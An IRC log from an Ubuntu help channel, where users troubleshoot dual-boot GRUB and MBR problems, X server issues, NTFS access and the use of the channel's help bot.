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DephtI think that says it all....01:01
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lunitikStormx2, will be a _while_ though...01:01
chrismyStormx2: i have 2 HDD. i want to have 2 OS. One with linux and the other with windows xp. so now i have reinstalled windows on the first HDD(primary master) but linux on the second HDD (secondary master) won't boot01:02
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lunitikchrismy, thats not a linux help question... you need to edit boot.ini now and add your ubuntu install...01:02
darkheartchrismy You don't really want to install Windows after you install Linux. It will overwrite your MBR.01:02
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lunitikchrismy, due to what darkheart just said...01:03
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chrismyi mean i have reinstalled windows. so now what should i do to have linux back?01:03
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guidedspirithello01:03
lunitikchrismy, it can be done... but its a pain... search around google...01:04
chrismyii ahve 2 HDD not dual OS in a HDD01:04
theinechrismy, use a live-0cd01:04
theinelive-cd01:04
lunitikguidedspirit, hey01:04
chrismytheine: ayayayaay thatis what i do not have. only installation CD :(01:04
guidedspiritubuntu is having prolblems with my pcmcia device on my laptop01:04
theeilcan windows be moved without a window manager?01:04
guidedspiritit doesnt work :(01:04
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crubechrismy,  when you reinstalled xp it made it's own mbr, and it doesn't know your ubuntu hd.01:04
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Dephttheeil: no01:04
darkheartchrismy Yes, use some form of media to boot into linux, then maybe you can replace the bootloader with something that will recognize both Windows and Linux.01:04
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theinechrismy, are you on dial up?01:04
chrismytheeil: i really do not know about booting that is why i need help and still not solve01:04
chrismysolved01:05
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chrismytheine: no broadband01:05
lunitikcrube, there is only one mbr... the first 8 megs on a disk...01:05
chrismydarkheart: how do you mean?01:05
theinechrismy, then I would recommend to download the ubuntu live-cd01:05
chrismytheine:  :(01:05
theinechrismy, you could also use damnsmalllinux i guess...01:05
guidedspiritcan anyone help me? ubuntu doesnt recognize my pcmcia port on my laptop01:05
darkheartchrismy Did you create a boot disk?01:06
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Stormx2chrismy: You need a boot disk.01:06
chrismytheine: ah i have that. but is it live? or can it do the boot? (grub)01:06
Stormx2chrismy: Or a live CD, and you need to install GRUB into the MBR01:06
chrismydarkheart: erm boot disk for window or linux?01:06
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theinechrismy, i never used it but i think it's a live cd01:06
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Stormx2Im reinstalling this now01:06
NoUsedoes the ubuntu Cd have any kind of rescue mode?01:06
theinechrismy, or live-stick or whatever...01:06
chrismyStormx2: how do i do the diskette? i think that will be the easiest way for me01:07
darkheartchrismy I meant Linux, but it looks like you are getting enough help =) I'll stop talking to create less confusion.01:07
Stormx2Im so pissed off that I could kill something, but by any rate, ubuntu is better than windows.01:07
crubeStormx2,  kill Bill gates? Solves 2 problems01:07
chrismyStormx2: same here. very frustrated01:07
guidedspiritim fustrated too01:07
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chrismyso guys. do you suggest that i install ONE OS AT A TIME?01:07
guidedspiritubuntu doesnt recognize my pcmcia port01:07
Stormx2chrismy: You can either make a boot floppy that boots your existing ubuntu, or get a Live CD and install from there01:07
Ngguidedspirit: what kind of laptop do you have?01:08
NoUsechrismy install windows first, then Ubuntu01:08
chrismyStormx2: ermm how do i do the boot floopy?01:08
theinechrismy, anyway, you need to boot the live-cd, mount your ubuntu partition, chroot into it, issue 'grub-install /dev/hda' (if /dev/hda is the harddisk you want to boot from) and reboot01:08
GoClickDNS lookups are insanly slow on my Ubuntu machine but very fast on my Windows machine, even for domains I've never looked up before, ideas?01:08
NoUsechrismy thats the best way01:08
darkheartchrismy You have to install one OS at a time. But if you want it w/ windows/linux, you have to install Windows first.01:08
Stormx2chrismy: No idea01:08
guidedspiritcompaq presario01:08
Stormx2!bootdisk01:08
ubotuStormx2: I haven't a clue01:08
Stormx2!boot01:08
chrismyNoUse: yes that is what i am doing all this while01:08
ubotuStormx2: I don't know, could you explain it?01:08
crubechrismy,  I suggest installing linux After xp, so that linux will install grub and you wil be able to boot to linux01:08
Stormx2gah.01:08
chrismyNoUse: i have 2 HDD remember01:08
guidedspiritng:compaq presario01:08
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spiderwormchrismy: if you come up with a way to install multiple os'es at once on the same machine etc etc, let me know01:08
chrismyNoUse: one OS for each HDD01:08
NoUsechrismy yeah but no matter what you have, Windows will blow away the boot record for it01:08
dug_____________Q about upgrading to breezy.  The colony 3 CD installer just hangs after I select the partition choice.  Anyone else see this problem?01:09
Stormx2chrismy: Would it be possible for you to reinstall Ubuntu01:09
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theinechrismy, but i have to warn you, things can go wrong, and if you don't feel like doing this, i would recopmmend to look for other solutions...01:09
chrismyspiderworm: hmm i tried 2 OS in one HDD but not seperate OS in seperated HDD01:09
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Madpilotdug: it's still a beta release, remember. that said, have you checked the md5sum of your downloads?01:09
chrismyStormx2: so i need to take of the windows HDD efore installing ubuntu?01:09
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guidedspiritNg: its a compaq presario01:10
chrismytheine: oh yes things go really wrong andi am very angry now01:10
crubechrismy,  No! keep it in so that linux will know where to install grub01:10
GoClickI changed the contents of /etc/hosts to include the new name which I've put in /etc/hosts and the machine still freaks out on me when I try and log in says it can't lookup the name and stuff, very confusing01:10
Arcanoidhi everyone01:10
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Stormx2OK Heres your options chrismy: 1]  Download and burn a live CD, and from the install GRUB into the master boot record 2]  Make a boot disk that boots to your existing ubuntu, and either use that when you want linux or use the opertunity to install grub 3]  Reinstall ubuntu, that will install grub automaticly.01:10
dug_____________Madpilot: thanks, I know, but I followed the other instructions for upgrading from hoary to breezy and it hosed my whole system.  I wanted to reinstall from CD but that doesn't work either.01:10
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chrismycrube: so i keep the first and second HDD.?01:10
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theinechrismy, I'm sorry to hear that01:10
crubechrismy,  yes and when installing grub it will know there's BOTH windows AND linux and it will make it possible to boot to BOTH01:10
synd_how do you check what version of ubuntu is installed?01:11
synd_via terminal01:11
chrismyStormx2: i can;t do that. not at least for now. i have no CD burner01:11
Stormx2hmm01:11
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Madpilotdug_____________: no idea, I'm still running Hoary myself. (also, could you please shorten your nick again? it's just a bit long...)01:11
Stormx2maybe a boot disk?01:11
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dug_____________the instructions here didn't work (plus the text doesn't even show up in firefox): http://ubuntuguide.org/#upgradehoarytobreezy01:11
Stormx2Im not sure if anyone knows anything about making a ubuntu boot disk?01:11
synd_anyone?01:11
chrismycrube: but i did that and linux took over and windows cant be booted01:11
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Stormx2synd_: Umm01:11
chrismyStormx2: yes how do i do that boot disk?01:11
Arcanoidi did domething wrong with my ubuntu and i messed it all up. i uninstalled xorg trough synaptic and installed xfree. now system doesnt load x anymore not even from recovery mode. can i uninstall xfree with apt-get and reinstall xorg?01:12
Stormx2System > About Ubuntu?01:12
Madpilotdug_____________: check the wiki too, it usually has more info than the guide01:12
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Stormx2or do you want it specificly in terminal?01:12
chrismyStormx2: huh? i am totaly stucked in windows now01:12
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synd_Stormx2: in term.01:12
crubeArcanoid,  yes you can.01:12
theinechrismy, and when you couln't boot windows anymore, you reinstalled it (windows)?01:12
darkheartArcanoid If you want to keep xfree, you may fix things by running 'dpkg-reconfigure xserver-xfree86'01:12
NoUseArcanoid apt-get remove xfree; apt-get install xorg01:12
Stormx2synd_: No idea.01:12
chrismytheine: yes and when i can't boot linux i reinstall ubuntu on and on01:13
Stormx2chrismy: Are you prepared to re-install ubuntu?01:13
chrismyStormx2: oh yes for the cost!01:13
Stormx2Hmm?01:13
chrismybut that is the best way?01:13
chrismyL(01:13
chrismy:(01:13
Stormx2chrismy: No01:13
Stormx2Best bet is a live CD01:13
theinechrismy, have you tried to edit /boot/grub/menu.lst in order to boot windows after you reinstalled ubuntu?01:13
Arcanoidcrube, i remember it was a longer name for xfree and xorg do you really think it's so short?01:13
chrismytheine: i have tried many things with many people's help01:14
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darkheartchrismy I don't know this for sure, but if your drive with Ubuntu is bootable, you may be able to boot into it if you make it the master drive.01:14
Arcanoidnouse, crube, i remember it was a longer name for xfree and xorg do you really think it's so short?01:14
Stormx2theine: *sigh*01:14
chrismydarkheart: that is the thing i do not understand01:14
Stormx2theine: Not the problem01:14
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NoUse!info xserver-xfree8601:14
ubotuxserver-xfree86: (the XFree86 X server), section universe/x11, is optional. Version: 4.3.0.dfsg.1-6ubuntu26 (hoary), Packaged size: 5586 kB, Installed size: 15584 kB01:14
NoUse!info xserver-xorg01:14
ubotuxserver-xorg: (the X.Org X server), section x11, is optional. Version: 6.8.2-10 (hoary), Packaged size: 5322 kB, Installed size: 15220 kB01:14
Stormx2theine: Winblows has installed its own bootloader, he can't reach linux01:14
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theineStormx2, I know, editing menu.lst still helps01:15
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Stormx2theine: Not in this case01:15
theineStormx2, smart ass01:15
Stormx2theine: GRUB has been removed from the MBR.01:15
chrismydarkheart: so how do you mean? i make a drive master then install one of the OS then disable it. then put in another disk as master to install windows?01:15
Stormx2theine: Therefore editting its config would be non-applicable01:15
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Stormx2theine: It wouldn't make the slightest bit of difference.01:16
crubechrismy, You could try making the boot disk for ubuntu. Googlefor it or something. one option is to use the boot disk every time you want to boot to ubuntu01:16
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Arcanoidok i give it a try01:16
theineStormx2, i recall that i specificly asked him whether he edited menu.lst _after_ he reinstall _ubuntu_01:16
chrismytheine: i have tried but just do not know why01:16
chris__hi,real linux newb here. i partioned my ext hard drive with ext3 partion and cant access it ,owne is root how do i change01:16
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Stormx2theine: as I recall I didn't.01:16
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theineStormx2, when there _was_ grub in the mbr01:16
Stormx2theine: Wait, misunderstood.01:16
Stormx2theine: Disregard that.01:16
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chrismycrube: sure but i am too weary trying now....zzzzzz01:17
Stormx2theine: Hmm. OK. So editting grub caused the problem01:17
darkheartchrismy No, sorry, disregard. It wouldn't work.01:17
Stormx2theine: But editting it now will not fix it01:17
chrismydarkheart: how do you mean?01:17
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theineStormx2, no, he should reinstall ubuntu and then edit it01:17
Stormx2theine: Because he reinstalled windows? Or is that incorrect01:17
ryguy1233theine, you have a grub/mbr problem too?01:17
theineryguy1233, no, chrismy has one01:18
Stormx2theine: Or if he couldn't face a reinstall make a boot disk to run his existing ubuntu system and install grub?01:18
chrismyyes i reinstall one after one because they can't boot and no menu for me to choose01:18
ryguy1233ohh, it is tricky..01:18
chrismyryguy1233: here :(01:18
Stormx2chrismy: You have windows installed?01:18
chrismyoh yes very very ricky and terrible01:18
theinechrismy, if i were you, i'd reinstall ubuntu now and then look at /boot/grub/menu.lst01:18
chrismyStormx2: yes i am in windows now01:18
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chrismywho made this server thing?01:19
Stormx2chrismy: Maybe you should reinstall ubuntu. That will reinstall GRUB and let you pick between ubuntu and windows01:19
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Quest-MasterThere are different Freenode servers linked together01:19
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ubotuOkay, I'm here. (courtesy of gnonthgol)01:19
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Stormx2Hi ubotu01:19
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Stormx2^_^01:19
chrismyStormx2: will you be here later or something? i need rest i am gonna collapse01:19
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Quest-MasterHence the names like Herbert and stuff01:19
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ryguy1233theine, so you know a thing or two about the grub?01:20
Quest-MasterSometimes they lose the connection between each other01:20
Quest-MasterWhich is when this happens, called Netsplit01:20
chrismyQuest-Master: so why they do that?01:20
Stormx2chrismy: Me too. Its 20 past midnight here.01:20
MadpilotI was on the wrong side of that netsplit...01:20
Quest-Masterchrismy: They don't.. it just happens.01:20
chrismyQuest-Master: something like CLASH?01:20
theinechrismy, there's actually an example for booting windows from any given partition01:20
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chris__hi,real linux newb here. i partioned my ext hard drive with ext3 partion and cant access it ,owne is root how do i change01:20
theineryguy1233, that would not be totally exaggerated i guess01:20
chrismytheine: i am not sure anymore. i have tried till i drop01:20
ryguy1233i was recommended to use a win98 bootdisk and the fdisk/mbr option but i have windows xp... is that a good idea?01:20
Stormx2chris__: Access it from what?01:20
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chrismyryguy1233: tried that01:21
chrismyfailed01:21
chris__cant read and write to it01:21
theinechrismy, try what? editing /boot/grub/menu.lst?01:21
chrismyno no01:21
ryguy1233should I? my situation is a little diff.,right?01:21
Stormx2chris__: Linux distro installers should format their own space01:21
chrismytheine: no but like what ryguy1233said about the win98 fdisk /MBR01:21
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chris__remormat with ubuntu?01:21
Stormx2:-/01:21
chrismytheine: by doing your way too failed01:21
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chrismytheine: so what is your code to trick windows xp?01:22
!Md:*! most important servers have been downgraded now, and the "can't talk with services" issue has been fixed. +E mode has been temporarily disabled until it can be fixed01:22
ryguy1233should i still try it? does anyone know if it would work?01:22
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theinechrismy, I don't know who the hell told you guys about using a win98 bootdisk, but editing /boot/grub/menu.lst is the way of getting it to work01:22
NoUseryguy1233 what are you going to tyr?01:22
chrismytheine: now now do not be rude. if we can't do it in one way we do and find another way01:23
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Stormx2yeh i agree with theine here, so long as grub is still on the MBR. If windows has installed its own bootloader, it won't make a difference.01:23
ryguy1233the win98 bootdisk, even tho i have winxp... would that not be the right way to go?01:23
chrismytheine: learning process hurts01:23
ryguy1233i couldnt find a recovery disk at the torrent site i use01:23
NoUseryguy1233 it won't work01:23
lunitikStormx2, umm... wrong.01:23
theinechrismy, sorry, i fully understand01:23
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NoUseryguy1233 win98 doesn't understand NTFS01:23
lunitikStormx2, Windows buts its own stuff in the MBR...01:23
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chrismytheine: yes the one  should swear is ME01:23
lunitikputs*01:24
chrismyhahahha01:24
theinechrismy, so did you actually try to edit menu.lst or not?01:24
chrismytheine: told ya :) EVERYTHING so far01:24
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NoUseryguy1233 did your computer company not give you a WinXP Cd?01:24
sk543anyone have trouble adjusting brightness in xine-ui?01:24
chrismytheine: i even did the stupid way you said about the win98 fdisk /mbr01:24
Stormx2lunitik: But would it remove/take priority over grub?01:24
chrismy:D01:24
ryguy1233i dont think they did... i got an hp media center M380n from compUSA01:25
chrismytheine: so what is your suggestion?01:25
chrismytheine: ok let me tell you again01:25
theinechrismy, I find it hard to believe that chainloading the windows partition won't work01:25
Stormx2chrismy: If your on the same machine, there are tools you can use From winblows to edit files on your ext3 partition.01:25
lunitikStormx2, yes01:25
Stormx2edit /boot/grub/menu.lst to include ubuntu in it.01:25
Stormx2That is, if grub is still there01:26
Stormx2^_^01:26
lunitikStormx2, he needs to run 'grub-install /dev/hda' from a livecd... or reinstall Ubuntu...01:26
chrismytheine: i have installed windows xo on the first HDD( primary master). so how do i install linux on the other HDD without interferring with the MBR or whatever you call that01:26
ryguy1233lunitik, should i try that too?01:26
chrismytheine: you better believe it01:26
lunitikryguy1233, you in a livecd right now? if so, yes...01:27
theinechrismy, you install ubuntu on the second harddrive, but grub on the first one (where windows is)01:27
chrismyStormx2: i have that..erm i think i have rmoved that all along :(01:27
ryguy1233im on a linspire live cd01:27
lunitikryguy1233, then you need to add Windows to your menu.lst ...01:27
NoUseryguy1233 linux is gone right?01:27
theinechrismy, no problem there01:27
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chrismytheine:no problem?01:27
theinechrismy, no01:27
lunitikryguy1233, Windows won't have touched your menu.lst, so ignore whoever is telling you that...01:27
ryguy1233yes, i right-clicked my computer, then manage, then deleted them that way01:27
Stormx2lunitik: But i've heard that grub is still there, and he could just edit the config to include ubuntu? Because he editted it when he first installed ubuntu and thats where the problems started?01:28
NoUselunitik ryguy1233 doens't have a menu.lst all his linux partitions are gone01:28
chrismytheine: so suppose to work? i mean first install windows on the first HDD the linux on the second HDD?01:28
ryguy1233ok, so i should find menu.lst on hda101:28
ryguy1233?01:28
lunitikStormx2, GRUB will still be installed on his Linux partition... but its no longer in his MBR ....01:28
theinechrismy, yes01:28
chrismytheine: ahhh what a relief01:28
apokryphosryguy1233: in /boot/grub01:28
NoUseryguy1233 if linux is gone, you don't have menu.list01:28
chrismytheine: well i do HOPE it works!:D01:28
lunitikNoUse, he has mounted / ?01:28
gabrielarkanoid here! hei guys! i dont rememberyour nicks but i removed xfree and installed xorg. all came back smooth. Thanks a lot!!!01:28
Stormx2lunitik: Damnit thats what I said all along. And another guy kept telling me different >_<01:28
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NoUselunitik he is on a live CD01:29
theinechrismy, and if windows doesn't show up in the boot menu, don't panic!01:29
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chrismytheine: erm that was what i have been...01:29
Stormx2chrismy: Get a live CD or reinstall01:29
theinechrismy, it's pretty easy to add the proper entry in /boot/grub/menu.lst01:29
lunitikNoUse, cool... he still needs to mount /   to allow him to edit the files on it...01:29
crubechrismy, in the install process it will ask you if you want to install grub to your windows drive. You should choose Yes to that. It should then ask you witch one you will like to boot in when you start your computer01:29
chrismytheine: you sure?01:29
theinechrismy, it probably will show up anyway...01:29
NoUselunitik he nuked the partions from inside windows01:29
theinechrismy, yes01:29
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NoUselunitik there is nothing to mount01:29
chrismyStormx2: aww please i can't do that and not for now01:29
lunitikNoUse, then he needs to reinstall Linux....01:29
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NoUselunitik he doesn't want Linux01:30
NoUselunitik he wants his Windows MBR back01:30
crubeNoUse,  who?01:30
ryguy1233and if it helps... i am getting error 22 from grub01:30
NoUsecrube ryguy123301:30
lunitikryguy1233, that means no fs ...01:30
crubeRydekull, g01:30
GoClickDNS lookups are insanly slow on my Ubuntu machine but very fast on my Windows machine, even for domains I've never looked up before, ideas?01:30
chrismycrube: hmm yes but that was(yes was) when i install them in the same HDD. but now i am seperating them. not all in one but one with their own housing:D01:30
Stormx2chrismy: Get a friend to download and burn a live CD, or if you fancy a wait you can order some CDs01:30
lunitikryguy1233, just throw in the Windows CD ... it will overwrite the MBR again01:30
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NoUselunitik he doesn't have one01:31
lunitikryguy1233, if this is what you want (no Linux)01:31
NoUselunitik thats the fun part01:31
cruberyguy1233, do you have windows xp?01:31
ryguy1233yes01:31
Stormx2f0001:31
ryguy1233i could DL a windows CD at a torrent site on a friends computer if i can find one01:31
lunitikryguy1233, Windows site has instructions of removing Linux from the system... this is the wrong place to ask!!!01:31
chrismyStormx2: friends? hahahhaah i can tell you in this huge town, i am the one here who has the initiative to learn linux commandlines01:32
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Stormx2you might want to try #windows lol01:32
gabrieli tryed installing xfree because i read that synaptics touchpad is different in xorg. i would like to activate the handy function that is in windows synaptics driver for long drag and drop. you need to tap before you release the drag and drop. is there a similar function in ubuntu?01:32
cruberyguy1233,  Boot to windows xp cd, and from the first screen choose R he recovery console. Type your administrator password, and type "fixmbr". It will create a new MBR to your windows and when you restart you should be able to boot in windows.01:32
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lunitikryguy1233, http://support.microsoft.com/default.aspx?scid=kb;en-us;314458   look at that... good day sir01:32
ryguy1233crube, i dont have a windows cd :(01:32
chrismyStormx2: generally as you know peple are sticked with windows due to its 'prettiness'01:32
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ryguy1233k, let me see...01:32
Stormx2chrismy: But they wouldn't burn you a CD?01:32
chrismyStormx2: come on :(01:33
lunitikryguy1233, if that doesn't work... call Microsoft... if your copy is licensed... you're shit out of luck01:33
lunitikryguy1233, either way... good day sir01:33
Stormx2chrismy: Where do you live?01:33
cruberyguy1233,  that's not good. You should get one so you could use it to fix mbr01:33
lunitiks/licensed/unlicensed/01:33
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guidedspiritim on a compaq presario laptop and i have kubuntu (latest version) and it wont detect my pcmcia card or port01:33
chrismyStormx2: but i have to download the image file and bring my computer to the computer shop and ask them to burn and have to pay them....and and hahha01:33
bob__is there an easy way to install java in ubuntu? eg a package01:33
NoUse!java01:34
ubotujava is, like, to install Java please see https://wiki.ubuntu.com/Java01:34
lunitikcrube, stop helping him... its not an Ubuntu or even a linux issue.01:34
bob__thanks01:34
chrismyStormx2: where do i live? hmm very popular but not very popular at the same time01:34
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Stormx2chrismy: I'm guessing not england.01:34
guidedspiritim on a compaq presario laptop and i have kubuntu (latest version) and it wont detect my pcmcia card or port01:34
Stormx2chrismy: Otherwise i would have mailed it to you.01:34
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crubelunitik,  but it is a result he got from linux, so it's somehow relative anyways :)01:35
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chrismyStormx2: england?? hahah my english is neither proper nor the posh? :P01:35
Stormx2chrismy: Maybe you should just reinstall, yeh?01:35
lunitikcrube, no... he needs to contact Microsoft/his ISV   :/01:35
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chrismyStormx2: i guess that would be the ultimate choice :(01:36
iratsuHello. I can't get X working. Here is my X log: http://iratsu.dyndns.org:8080/~iratsu/Xorg.0.log01:36
lunitikcrube, fortunately... our license allows for no warrentee  8D01:36
chrismyi would try once again ...jeez01:36
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Stormx2chrismy: The only other option is getting a live CD01:37
lunitikiratsu, weird... no error... you get a black screen? or just nothing?01:37
Stormx2it might cost you a little money but it would save you losing any work.01:37
apokryphoslunitik: "WITHOUT ANY WARRANTY". Always hopeful seeing it when X crashes ;-)01:37
iratsulunitik: nothing01:37
chrismyStormx2: but thinking back breezy will be out on october. so i do not wish to waste money on that01:37
lunitikiratsu, X tries to start.... then returns to CLI?01:37
Stormx2chrismy: Hmm ok01:38
gabrielnobady knows how to activate function for long drag n drop with touch pad synaptics?01:38
lunitikapokryphos, pay for support?01:38
iratsulunitik: yes01:38
chrismyStormx2: therefore i will be wiser :D getting LIVE PLUS INSTALLATION CD yay!01:38
Stormx2lunitik: Will I be able to get breezy CDs if I havn't got my code from when I got my hoary ones?01:38
apokryphoslunitik: you could, of course; not that I'd want/need to01:38
Stormx2Im off01:39
lunitikiratsu, resolution settings are correct (ala /etc/X11/xorg.conf)  ?01:39
Stormx2im reinstalling tomorow morning though.01:39
chrismyStormx2: getting free CDs from ubuntu is ridiculous. i have heard many of them here saying it will take eaons to reach01:39
Stormx2fucking gnome.01:39
lunitikapokryphos, then such messages shouldn't bother you  :)01:39
Stormx2chrismy: The more you order the quicker they come01:39
chrismyStormx2: same here nighty night!01:39
chrismyStormx2: more? but i a not into busniess lol01:39
apokryphoslunitik: mild joke; nevermind 8)01:39
lunitikStormx2, just re-sign up for shipit ... should just be able to log back in and re-order though...01:39
chrismythat is odd!01:39
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iratsulunitik: looks right01:39
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apokryphosiratsu: try a sudo dpkg-reconfigure xserver-xorg01:40
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eliphas_took me two month to receive my cd's but was so happy to dirtibute them01:40
chrismyStormx2: i will see you later if possible or just about anyone to help me out01:40
lunitikiratsu, hmm... for now... try 600x480 (remove the others for now from 24bit) just for now... to see if this is why...01:40
chrismytheine: even you could help me kicl MS ass hehe01:40
eliphas_I left some in my stairs01:40
Stormx2alright01:40
chrismykick01:40
Stormx2im off to bed now01:40
Stormx2Have fun01:40
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lunitikStormx2, night01:40
chrismyStormx2: so as to you01:40
chrismythanks01:40
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ArsonideUh how do I access my "C:" drive in Ubuntu?01:41
ArsonideI have some music I want to try to play.01:41
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chrismytheine: are you there?01:41
lunitikArsonide, fdisk -l  ... which one is vfat or ntfs?01:41
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falkoyay, IRC!01:41
Arsonidentfs01:41
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pfp!ntfs01:41
ubotuntfs is, like, the (N)(T) (F)ile(S)ystem, the filesystem normally used under Windows XP.  To automatically mount your NTFS partition/s, you can use this utility: http://www.ubuntulinux.nl/files/winmac_fstab . It handles HFS+, NTFS and FAT32 partitions.01:41
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apokryphosubotu: tell Arsonide about windowsdrives01:41
lunitikArsonide, ok... let me rephrase... which one is ntfs01:41
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ArsonideC:01:41
chrismyhmm could anyone tell me , it is possible to install linux from USB pendrive?01:41
lunitikapokryphos, shush01:41
gabrieli meen: when i drag n drop how do you do long drags? just tapping?01:41
lunitikArsonide, RUN THE DAMN COMMAND (fdisk -l)01:42
pfpArsonide: check out that script link from ubotu01:42
chrismy!usb01:42
ubotuchrismy: Do they come in packets of five?01:42
chrismylol01:42
lunitikchrismy, look into hotplug01:42
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apokryphoslunitik: mwuahaha01:42
chrismylunitik: that is hotplug? wow..01:42
whyameyeI want to try "suspend to ram" but I don't even see how to choose the option from Gnome. I only see "hibernate"01:42
chrismy!hotplug01:42
ubotuI don't know, chrismy01:42
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lunitikchrismy, hotplug manages everything usb01:43
Arsonidelunitik, k, ran the damn command, it did nothing.01:43
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chrismylunitik: it says it does not know01:43
apokryphosArsonide: as sudo01:43
lunitikArsonide, impossible01:43
lunitikapokryphos, still would have said SOMETHING01:43
thrusharsonide type sudo fdisk -l hda01:43
NoUsechrismy ubotu, as smart as he is, is that the end all be all of linux knowledge01:43
chrismylunitik: hmm you mean everything but just USB?01:43
NoUses/that/not01:43
apokryphosArsonide: but if you want you can use the script ubotu just told you about... it will automount the partitions for you, if you like.01:43
lunitikchrismy, hotplug manages only USB01:43
Arsonidebah, I changed my password and now it doesn't work.01:43
apokryphosArsonide: use your new password01:44
lunitikArsonide, listen to apokryphos01:44
chrismyNoUse: yes. is ubotu your bot?01:44
apokryphosArsonide: you won't be able to function without it.01:44
ArsonideIt was capitalized and I made it uncapitalized, now neither works. For instance it was APPLE, now it's apple.01:44
rmflaggHas anyone encountered any login problems, like it no longer asking if you want to change the default session setting?01:44
lunitikArsonide, I think doing this manually is beyond you (no offense)01:44
chrismylunitik: thanks! i am smarter now :D01:44
NgArsonide: you can reset it by rebooting into recovery mode and running "passwd yourusername"01:44
apokryphoschrismy: cafuego owns him; belongs to the channel.01:44
lunitikchrismy, heh  :)01:44
chrismyapokryphos: ahhh so it must be tough to take care of it01:45
chrismyapokryphos: heard it need plenty of care01:45
chrismylunitik: :P01:45
apokryphoschrismy: not particularly; everyone can contribute to him (like a wiki), and he's a blootbot01:45
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chrismyapokryphos: :O he is wiki?????????01:45
Arsonidelunitik, It's not my fault you didn't include sudo, give me a break I just got this today.01:45
chrismygee....01:45
apokryphoschrismy: similar to one, yes01:45
chrismycool!01:45
diemanhrm01:46
funkyHatdoes anyone else get really annoyed with sloppy focus, focusing the windows immediately01:46
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diemananyone using breezy and autopano-sift?01:46
chrismyso how could i command it to give me info?01:46
NgfunkyHat: you can set a delay01:46
funkyHatthere could at least be an _option_ to delay focus:(01:46
funkyHatNg, there is no way to set a delay01:46
NoUse!tell chrismy about ubotu01:46
funkyHatyou can set an autoraise delay01:46
chrismyapokryphos: how do i learn about talking to this ubotu?01:46
funkyHatnot a focus delay01:46
crubeWhat's so cool about wiki? I don't even know what wiki is.01:46
lunitikArsonide, like I said, no offense intended... Linux is meant for people like you (users that aren't familier with Linux necissarily) ... its ok... but the script will likely be easier for you  :)01:46
apokryphoschrismy: best to investigate in /msg. So /msg ubotu01:46
bob__crube, plenty is cool about wiki01:46
NgfunkyHat: ah yes, it's a raise delay :(01:46
apokryphoschrismy: then just start typing; type help01:46
ArsonideI still don't know how to use the script. Is this a bat file or what?01:47
chrismyhelp01:47
NoUsecrube well if you don't know about it, it must not be cool01:47
chrismyerm...01:47
NgfunkyHat: I use sloppy focus though, what's wrong with instant focus? ;)01:47
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apokryphoscrube: What's so cool about wiki is that it's collaboration :)01:47
lunitikchrismy, /msg ubotu help01:47
apokryphoscompare Encarta to Wikipedia01:47
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funkyHati'm sure there used to be an option to delay focus01:47
chrismyhelp01:47
chrismyapokryphos: why i cant do it?01:47
bob__http://en.wikipedia.org/wiki/Wiki learn about wikis01:47
crubeapokryphos,  I've seen all kinds of wiki's, but I don't know what makes them so special :P01:47
NoUsechrismy message the boy01:47
apokryphoschrismy: type what lunitik said01:47
lunitikapokryphos, wikipedia > encarta ... not least because m$ owns encarta  ;)01:47
NoUsechrismy bot01:47
funkyHatwell, for a start windows thinking i've looked at them because they've had focus (mostly a problem with gaim)01:47
funkyHatand also it's just insanely annoying!01:47
chrismyermm nothing came out01:48
apokryphoscrube: the wealth of information. Find out how many articles Wikipedia gives you at the typing of a few keys01:48
NgfunkyHat: gaim is deeply annoying with any focus mode ;(01:48
chrismyhello01:48
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apokryphoslunitik: seeing the "Encarta article on X... pay to access it" makes me go straight to Wikipedia 8)01:48
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chrismybot01:48
funkyHat(yeah, i have the patched libwnck which means i have blinking taskbar items, but then moving the mouse over the chat window cancels the notification)01:48
crubeYou just hate to say "wiki" and the whole crowd goes all "Whooo" and "oooh" and then they start clapping their hands and making waves!01:48
dazvidHello everyone01:48
apokryphoschrismy: it should open a query for you with ubotu01:48
chrismydazvid: hi there :D01:48
NgfunkyHat: but fair enough. you could file a bug with a low priority (ie feature enhancement) asking for it?01:48
apokryphoschrismy: I think your nick has to be registered, if you're not already01:49
lunitikapokryphos, haha... can't remember the last time I used Encarta actually.. I know I have it on CD around here someplace though  :)01:49
chrismyapokryphos: yes something like ]  [PRIVMSG >>> ubotu] : ???01:49
ArsonideUbuntu never gets my password right, first it thought it was capitalized, when it wasn't, and now it thinks it's something else but it isn't.01:49
dazvidQuestion for you ubuntu users.. how good is ubuntu with supporting major game releases?01:49
lunitikchrismy, type '/msg ubotu help'01:49
apokryphoschrismy: what? that's the output?01:49
lunitikchrismy, in the channel01:49
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chrismyyes i did lunitik01:49
chrismyhe does not like me?:(01:50
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NgArsonide: it really should get it right, I'd be tempted to blame your equipment or you before md5 and strcmp() ;)01:50
lunitik!help01:50
chrismysee nothing came out01:50
ArsonideI've typed this password for over 5 years and I had to confirm it twice.01:50
apokryphoslunitik: long messages are only /msg01:50
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apokryphoslunitik: I don't think he's registered01:50
lunitikchrismy, eh... it farted a bunch of crap to me01:50
NgfunkyHat: bugzilla.gnome.org01:50
crubedazvid,  I've played hl2 under ubuntu. Ubuntu is not the *supporter* of these games.01:50
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chrismylunitik: huh?01:50
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chrismy!help01:51
dazvidcrube: can you play it online though?01:51
chrismylunitik: ahh yes01:51
chrismyheheh01:51
apokryphos=)01:51
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crubedazvid,  yes with no problems.01:51
dazvidah01:51
chrismybut how cani learn about it?01:51
dazvidwell thats all i need to hear :)01:51
ArsonideNg, how do you boot into recovery mode...01:51
apokryphoschrismy: so as you can see, to add to him you do "x is at http://x.com"01:51
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ArsonideI have to do simple things the hard way.01:51
funkyHatthanks Ng :)01:51
dazvidwell have to  be off, got uni in an hour -_-01:51
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crubedazvid,  ubuntu is not the one supporting games- There's other programs for linux that are made for gaming.01:51
NgArsonide: reboot your computer and just before it boots it prints a message about pressing escape for the boot menu, do that and there should be an Ubuntu Recovery entry listed, choose that01:52
kairuhi all! sometimes i start up my computer, log in, and i get this gnome desktop with everything but the system tray. anyone have this problem?01:52
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apokryphoschrismy: in your /msg with ubotu, type another word01:52
chrismyi try01:52
apokryphoschrismy: i.e. type   ubuntu01:52
chrismyubuntu01:52
chrismyhmmm01:52
reikihahah01:52
apokryphoschrismy: in your channel with ubotu01:52
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chrismyubuntu01:52
apokryphoss/channel/ubuntu01:52
NoUsechrismy you aren't messaging the bot, you are sending that to us01:52
apokryphosgah01:52
chrismyNoUse: yes i know01:52
apokryphoschrismy: where did ubotu respond to you? Well, go in there and type it01:53
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chrismy[07:52:39]  [PRIVMSG >>> ubuntu] :  i got that01:53
chrismyapokryphos: in there? in the channel?01:53
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apokryphoschrismy: in there with him, yes.01:53
crubeOk time to sleep. ->01:53
apokryphoschrismy: if it doesn't work, you need to register your nick I believe.01:53
